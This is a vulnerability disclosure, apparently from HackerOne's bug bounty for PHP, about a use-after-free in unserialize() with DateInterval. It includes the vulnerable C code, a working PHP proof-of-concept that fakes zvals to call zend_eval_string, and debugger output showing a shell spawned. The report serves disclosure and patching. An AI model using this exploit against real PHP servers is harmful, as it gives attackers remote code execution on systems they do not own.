PHP (IBB): Use after free vulnerability in unserialize() with DateInterval

2015-02-27T00:00:00
ID H1:73244
Type hackerone
Reporter ryat
Modified 2015-03-17T00:00:00

Description

Use After Free Vulnerability in unserialize() with DateInterval

Taoguang Chen < () chtg> - Write Date: 2015.2.28 - Release Date: 2015.3.20

A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions

Affected is PHP 5.6 < 5.6.7 Affected is PHP 5.5 < 5.5.23 Affected is PHP 5.4 < 5.4.39 Affected is PHP 5.3 <= 5.3.29

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

``` static int php_date_interval_initialize_from_hash(zval return_value, php_interval_obj intobj, HashTable myht TSRMLS_DC) { (intobj)->diff = timelib_rel_time_ctor();

define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def) \

    do { \
            zval **z_arg = NULL; \
            if (zend_hash_find(myht, element, strlen(element) + 1, (void**)

&z_arg) == SUCCESS) { \ convert_to_long(z_arg); \ (intobj)->diff->member = (itype)Z_LVAL_PP(z_arg); \ } else { \ (*intobj)->diff->member = (itype)def; \ } \ } while (0);

define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member) \

    do { \
            zval **z_arg = NULL; \
            if (zend_hash_find(myht, element, strlen(element) + 1, (void**)

&z_arg) == SUCCESS) { \ convert_to_string(z_arg); \ DATE_A64I((intobj)->diff->member, Z_STRVAL_PP(z_arg)); \ } else { \ (*intobj)->diff->member = -1LL; \ } \ } while (0); ```

The convert_to_long()\convert_to_string() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

``` <?php

$f = $argv[1]; $c = $argv[2];

$fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:5;}}';

$x = unserialize($data1); $y = $x[2];

// zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateInterval":1:{s:1:"y";a:1:{i:0;R:5;}}}';

$z = unserialize($data2);

function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

?> ```

Test the PoC on the command line, then any PHP code can be executed:

$ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb)